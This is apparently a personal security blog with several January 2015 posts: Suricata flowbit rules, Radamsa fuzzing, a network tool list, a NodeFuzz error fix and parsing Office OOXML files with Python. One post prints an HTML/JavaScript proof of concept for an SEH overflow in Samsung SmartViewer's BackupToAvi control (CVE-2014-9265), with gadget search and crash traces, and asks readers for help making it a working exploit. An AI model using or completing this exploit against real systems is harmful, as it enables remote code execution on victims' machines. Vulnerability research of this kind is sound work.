Thursday, January 29, 2015

Session based Rules: Writing flowbit based rules for Suricata IDS/IPS

Majority of Suricata/Snort rules are packet based, some times we need to write session based rules spanning across multiple packets of same session. We have to use flowbits keyword to write session based Rules.

As per Suricata documentation

flowbits: set, name                Will set the condition/'name', if present, in the flow.
flowbits: isset, name              Can be used in the rule to make sure it generates an alert                          
                                   when the rule matches and the condition is set in the flow.
flowbits: toggle, name             Reverses the present setting. So for example if a condition is set, 
                                   it will be unset and vice-versa.
flowbits: unset, name              Can be used to unset the condition in the flow.
flowbits: isnotset, name           Can be used in the rule to make sure it generates an alert
                                   when it matches and the condition is not set in the flow.
flowbits: noalert                  Does not generate an alert for this rule.
If packet 1 contains content "DARSHANAM" set condition/name fb1 and don't trigger an alert. If packet 2 contains content "DARSHANAM" set condition/name fb2 and don't trigger an alert also check if condition/name fb1 is set.

alert tcp any 5900 -> any any (msg:"Flowbit based Rule 1"; flow:established,to_client; content:"DARSHANAM"; offset:0; flowbits:set,fb1; flowbits:noalert; reference:cve,CVE-2014-nnnn; sid:11223341; )

alert tcp any any -> any 5900 (msg:"Flowbit based Rule 2"; flow:established,to_server; content:"DARSHANAM"; offset:0; flowbits:isset,fb1; flowbits:set,fb2; flowbits:noalert; reference:cve,CVE-2014-nnnn; sid:11223342; )

alert tcp any 5900 -> any any (msg:"Flowbit based Rule 3"; flow:established,to_client; content:"|00 00 00 00|"; offset:0; depth:4; flowbits:isset,fb2; flowbits:set,fb3; flowbits:noalert; reference:cve,CVE-2014-nnnn; sid:11223343; )

alert tcp any any -> any 5900 (msg:"Flowbit based Rule 4"; flow:established,to_server; byte_test:1,=,0,7; flowbits:isset,fb3; flowbits:set,fb4; flowbits:noalert; reference:cve,CVE-2014-nnnn; sid:11223344; )

alert tcp any any -> any 5900 (msg:"Alert Rule: Flowbit based Rule"; flow:established,to_server; byte_test:1,=,2,0; content:"|00 00 00 07|"; flowbits:isset,fb4; flowbits:unset,fb4; reference:cve,CVE-2014-nnnn; sid:44448888; )

Alerts are logged to /var/log/suricata/alert-debug.log

+================
TIME:              01/27/2014-15:37:28.625783
PKT SRC:           wire/pcap
SRC IP:            192.16.1.2
DST IP:            192.16.8.158
PROTO:             6
SRC PORT:          38603
DST PORT:          5900
TCP SEQ:           3520133923
TCP ACK:           3147758094
FLOW:              to_server: TRUE, to_client: FALSE
FLOW Start TS:     01/27/2014-15:36:42.465932
FLOW IPONLY SET:   TOSERVER: TRUE, TOCLIENT: TRUE
FLOW ACTION:       DROP: FALSE
FLOW NOINSPECTION: PACKET: FALSE, PAYLOAD: FALSE, APP_LAYER: TRUE
FLOW APP_LAYER:    DETECTED: FALSE, PROTO 0
FLOWBIT:           fb1
FLOWBIT:           fb2
FLOWBIT:           fb3
FLOWBIT:           fb4
PACKET LEN:        82
PACKET:
 0000  00 50 88 XX YY ZZ A0 DD  C1 XX YY ZZ 08 00 45 00   .P..b... ..J}..E.
 0010  00 44 31 E1  40   00  40  06   A7 12   C0 A8 01 02 C0 A8   .D1.@.@. ........
 0020  08 9E 96 CB 17 0C D1 D0  FB 23 BB 9E FA 0E 80 18       ........ .#......
 0030  00 73 E7 C9 00 00 01 01  08 0A 57 AB CE CC 25 92         .s...... ..W...%.
 0040  AF 17 02 00 00 03 00 00  00 07 FF FF FF E0 FF FF           ........ ........
 0050  FF 20                                              .
ALERT CNT:           1
ALERT MSG [00]:      Alert Rule: Flowbit based Rule
ALERT GID [00]:      1
ALERT SID [00]:      44448888
ALERT REV [00]:      0
ALERT CLASS [00]:    
ALERT PRIO [00]:     3
ALERT FOUND IN [00]: PACKET
ALERT IN TX [00]:    N/A
PAYLOAD LEN:         16
PAYLOAD:
 0000  02 00 00 03 00 00 00 07  FF FF FF E0 FF FF FF 20   ........ .......
+================

From the above log we can see all the flowbits conditions/names are hit and inturn triggers an alert "Alert Rule: Flowbit based Rule", sid 44448888.

Wednesday, January 28, 2015

Generate sample fuzz files using Radamsa Fuzzer

Radamsa is a general purpose data fuzzer, reads data from given sample files and outputs modified data usually malformed.

Below command takes html files as input and generates infinite output  malformed html files (press Ctrl + C to stop generation of files). "-n 100000" will generate one lakh malformed html files.

$radamsa -o gen_htmls/test_browser_%n.html -n inf -r ../poc_html_files/*.html -M -

-o        specify where to write the modified data.
%n      represents test case number
-n        how  many outputs to generate based on the sample(s). -1 or inf generates infinite output
-M -    write metadata about generated data to given path, - indicates stdout

"-M -" generates below metadata of generated output file
xp-repeat: 3, xp-dup: 1, xp-insert: 1, xp-swap: 1, muta-num: 1, source: "../poc_html_files/sample1.html", generator: file, nth: 31812, path: "gen_htmls/test_browser_31812.html", output: file-writer, length: 1622, pattern: burst
xp-repeat: 4, xp-dup: 2, xp-insert: 4, fuse-old: 1, muta-num: 4, source: "../poc_html_files/sample2.html", generator: file, nth: 31813, path: "gen_htmls/test_browser_31813.html", output: file-writer, length: 2515, pattern: many-dec
xp-repeat: 1, xp-pump: 1, xp-dup: 1, xp-insert: 5, muta-num: 1, source: "../poc_html_files/sample3.html", generator: file, nth: 31814, path: "gen_htmls/test_browser_31814.html", output: file-writer, length: 14832, pattern: burst

praveend@praveend-VirtualBox:~/radamsa-0.4/bin/gen_htmls$
$ ls -t |more
test_browser_31816.html
test_browser_31814.html
test_browser_31815.html
test_browser_31813.html
test_browser_31812.html
test_browser_31811.html
test_browser_31810.html
test_browser_31808.html
test_browser_31809.html
test_browser_31807.html
test_browser_31806.html

$radamsa -o :8080 -r gen_htmls/

Above command will open port 8080 and bings to all IP Addresses if the machine is multi homed.
When a client connects to 8080 radamsa serves malicious files.

We can also use NodeFuzz to server malicious HTML files, but nodefuxx allows mentioning only one HTML file part of configuration. Not sure how to respond back with all malicious files one by one when a client browser connects.
$ node nodefuzz.js

Enjoy Fuzzing!

Sunday, January 18, 2015

Hilarious reply from Kotak in response to reported Security Bugs

There are few security issues on Kotak Securities web site, informed my findings to the folks at Kotak but got a surprising response.

This tells how serious Kotak is against their customers data.

Below is the mail I got in response to reported security bugs.




Samsung SmartViewer BackupToAvi Remote Code Execution PoC (CVE-2014-9265)

This blog is about CVE-2014-9265.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265

What Samsung says about the software
"SmartViewer is DVR management software that enables you to connect to and control a remote Samsung DVR on your PC via the network. With this tool, you can access Samsung DVRs anywhere around the world via the network, and check the video data from the connected cameras. You can also search for and play recording data in the DVR on a remote site, which will be an effective and convenient monitoring system."

Lets load single vulnerable DLL , C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll into ImmunityDBG.

mona plugins help can be viewed with below command
!mona 
           modules / mod        | Show all loaded modules and their properties
           unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow
Displays the list of all the loaded modules and their properties (ASLR, SafeSEH etc).
!mona modules
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Module info :
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D    0x774d0000 | 0x7754b000 | 0x0007b000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [COMDLG32.dll](C:\Windows\system32\COMDLG32.dll)
0BADF00D    0x10000000 | 0x1017b000 | 0x0017b000 | False  | False   | False |  False   | False  | 2.0.1.6 [CNC_Ctrl_STW.dll] (C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll)
0BADF00D    0x75c60000 | 0x75d34000 | 0x000d4000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll)

!mona ua
will generate venetian_alignment.txt at C:\Program Files\Immunity Inc\Immunity Debugger\

mona command to search for addresses with pop/pop/ret
!mona findwild -s "pop r32#*#pop r32#*#retn"
Above command  will generate findwild.txt file located at
C:\Program Files\Immunity Inc\Immunity Debugger\

Only one address(shown below) which has unicode compatibility is useful to us.
0x10008700 : pop ecx # mov eax,esi # pop esi # retn 4 | null,unicodereverse {PAGE_EXECUTE_READ} [CNC_Ctrl_STW.dll] ASLR: False, Rebase: False, SafeSEH:
False, OS: False, v2.0.1.6 (C:\Program Files\Samsung\SmartViewer3.0\Bin\CNC_Ctrl_STW.dll)

Conditional breakpoint can be set using, assuming EIP holds 0x10008700 though EIP is having 0x00100087
bp 10008700 "j @eip=0x10008700 ; 'g' " 

Finding offset to EIP
Initially pass a character string of length 15000 to BackupToAvi API, use Metasploit cyclic pattern to find the offset where EIP is overwritten, in my case it is offset 156. To find offset execute !exchain", search for the characters located at address 0x045ad62c, im metasploit cyclic pattern to get the offset.

Once we know the offset to seh, nseh we can write a PoC as shown below
<html>
<head> Samsung SmartViewer BackupToAvi Remote Code Execution</head>
<title> PoC developed by Praveen Darshanam </title>
<object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' >
</object>

<script >
 var payload_length = 15000;
 var arg1=1;
 var arg2=1;
 var arg3=1;
 //blank strings
 var junk = "";
 var buf1 = "";
 var buf2 = "";

 //offset to SE is 156, initial analysis using metasploit cyclic pattern
 for (i=0; i<156; i++)
 {
  buf1 += "A";
 }

 var nseh = "DD";
//vulnerable DLL
var seh = "\x87\x10"; //pop, pop, ret
 junk = buf1 + nseh + seh;

 //remaining buffer
 for (j=0; j<(payload_length-junk.length); j++)
 {
  buf2 += "B";
 }
 var fbuff = junk + buf2;
 target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff);

</script>
</html>
When we open above html file in browser, we get below trace
Tested on Windows 7 Ultimate N SP1 using Internet Explorer 8)

(c6c.418): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00450045 edx=773771cd esi=00000000 edi=00000000
eip=00450045 esp=043b10a8 ebp=043b10c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
00450045 ??              ???

0:005> !exchain
....
045abacc: ntdll!ExecuteHandler2+3a (773771cd)
045abeb4: ntdll!ExecuteHandler2+3a (773771cd)
045ac29c: ntdll!ExecuteHandler2+3a (773771cd)
045ac684: ntdll!ExecuteHandler2+3a (773771cd)
045ad62c: 00450045
Invalid exception stack at 00440044

0:005> d 045ad62c
045ad62c  44 00 44 00 45 00 45 00-42 00 42 00 42 00 42 00  D.D.E.E.B.B.B.B.
045ad63c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad64c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad65c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad66c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad67c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad68c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
045ad69c  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

Couldn't write working exploit because of the issues mentioned below.
Issue1:
None of the registers are pointing to controlled buffer at the time of crash, can be verified using "d reg_name" on windbg cli where reg_name might be eax, ebx, esp, edi etc.

var nseh = "DD";
var seh = "\x87\x10";      //0x10008700
045ad62c  44 00 44 00 87 00 10 00-42 00 42 00 42 00 42 00 D.D.....B.B.B.B.

Issue2:
0x10008700 points to pop/pop/ret but eip is getting 0x00100087 instead of 0x10008700

Facing issue 2 on Windows XP Pro SP3 also
0:008> !exchain
020bf798: 00100087
Invalid exception stack at 00440044
0:008> d 020bf798
020bf798  44 00 44 00 87 00 10 00-42 00 42 00 42 00 42 00  D.D.....B.B.B.B.
020bf7a8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7b8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7c8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7d8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7e8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf7f8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
020bf808  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

Any hints to develop working exploit are most welcome!

Monday, January 12, 2015

Netwrok Security Testing for Absolute Beginners


This blog covers some tools for Network/Security Testing.

Packet Crafting - hping, ngrep, sendip, scapy
Packet Replay - tcpreplay,tcpreplay-edit,tcpdump
Scanning - nmap,nc, metasploit,nessus
Fuzzing - metasploit, nikto,nessus, spike,radamsa,webfuzz
Stats - dstat,ifstat,iftop,ntop
Web - wget, curl, ab
Debugging - ping,netstat,tracert, ngrep
Benchmarking - ab,iperf,netperf
SNMP - snmpwalk
NTP Suite

For CLI one liners refer below presentation
http://disects.com/whitepapers/NetworkSecurityTestingTools.pdf


Saturday, January 10, 2015

NodeFuzz: nodejs "Error: spawn ENOENT" error

ENOENT error is due to the unavailability of required command in the PATH environment variable directories.

root@darshanams:~/Downloads/NodeFuzz-0.1.1# nodejs nodefuzz.js
Loading linux-configuration.
No module folder given. Defaulting to ./modules/ from config.js
Found property init() from module ./modules//DemoCanvasModule.js
You could have some inits in DemoCanvasModule.js and it would be executed now.
Successfully required module DemoCanvasModule.js
Found property init() from module ./modules//DemoMinModule.js
Successfully required module DemoMinModule.js
Will not handle directories in module-dir. Skipping ./modules//Helpers
We have 2 modules available.
Server listening port 8080

events.js:72
        throw er; // Unhandled 'error' event
              ^
Error: spawn ENOENT
    at errnoException (child_process.js:1000:11)
    at Process.ChildProcess._handle.onexit (child_process.js:791:34)


Search for spawn or child_process.spawn in our NodeFuzz or Applications source code which should be of the form
    spawn(command, args)
in my case it was
        browser = spawn(config.launch_command, config.browser_args)

Add below lines on top of spawn
    console.log( process.env.PATH );
    console.log( config.launch_command );
which prints PATH environment variable values and command being used.
This is the output on my console
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
   google-chrome


So the issue is with command "google-chrome", node is unable to find or execute the command. Instead of throwing the exception to stdout lets handle the exception.
     browser = spawn(config.launch_command, config.browser_args)
   browser.on('error', function (err) {
        console.log('config.launch_command error', err);

   });

I am not a Java programmer, stuck with this error for 2 days. Googling also showns that this is a frequent error without a solution.

To fix similar issues read
http://stackoverflow.com/questions/27688804/how-do-i-debug-error-spawn-enoent-on-node-js

Hope, this helps someone somehwhere :-)

Friday, January 2, 2015

Forensic Analysis of Microsoft office OOXML/OpenXML files using Python


Microsoft started supporting Office Open XML format from Microsoft Office 2007 release onwards.
Office Open XML is also know as OOXML or OpenXML. All office files, say, docx, xlsx, pptx are zipped content of XML files.

In this blog we will try to read find xml files part of the office file archive and look at directory structure. We will parse office files using Python.

Libraries used
        import zipfile, sys
        import libxml2, datetime
zipfile       for parsing zipfile
sys             to use exit() function
libxml2     for parsing XML files
datetime    for printing date/time

Read office file(which is zipped indeed)
file = zipfile.ZipFile(sys.argv[1],"r")
Where sys.argv[1] is the command line argument we pass to the program as shpown below
./office.py file.docx

Loop through all the files and print
        for name in file.namelist():
            print "file name:" + name
To read XML file
        xmlbuf = file.read(name)
file.open() will not work

Read the XML file, we can also use  libxml2.parseMemory(xmlbuf)

        try:
            xmlf = libxml2.parseDoc(xmlbuf)
        except (libxml2.parserError, TypeError):
            print "Error loading core.xml"
            sys.exit()

Get the root element of the XML
        root = xmlf.getRootElement()
coreProperties in the case of core.xml

Call below function with root tag/element as argument
        recursive_find(root)
This is a recursive function which recursively gets all the XML tags.

Entity: line 1: parser error : Start tag expected, '<' not found
docProps/core.xml

To ignore above error use
        def noerr(ctx, str):
            pass
        libxml2.registerErrorHandler(noerr, None)
The error above is the major blocking point.

core.xml file part of the office file archive has details like file creators name, access time, modified time, last modified user's name etc. We will try to extract those values using Python. Apart from core.xml file we also print names, file sizes, time stamps of the files part of the archive.

Final result will look like


http://en.wikipedia.org/wiki/Office_Open_XML
http://www.ecma-international.org/publications/standards/Ecma-376.htm
http://msdn.microsoft.com/en-us/library/dd908153(v=office.12).aspx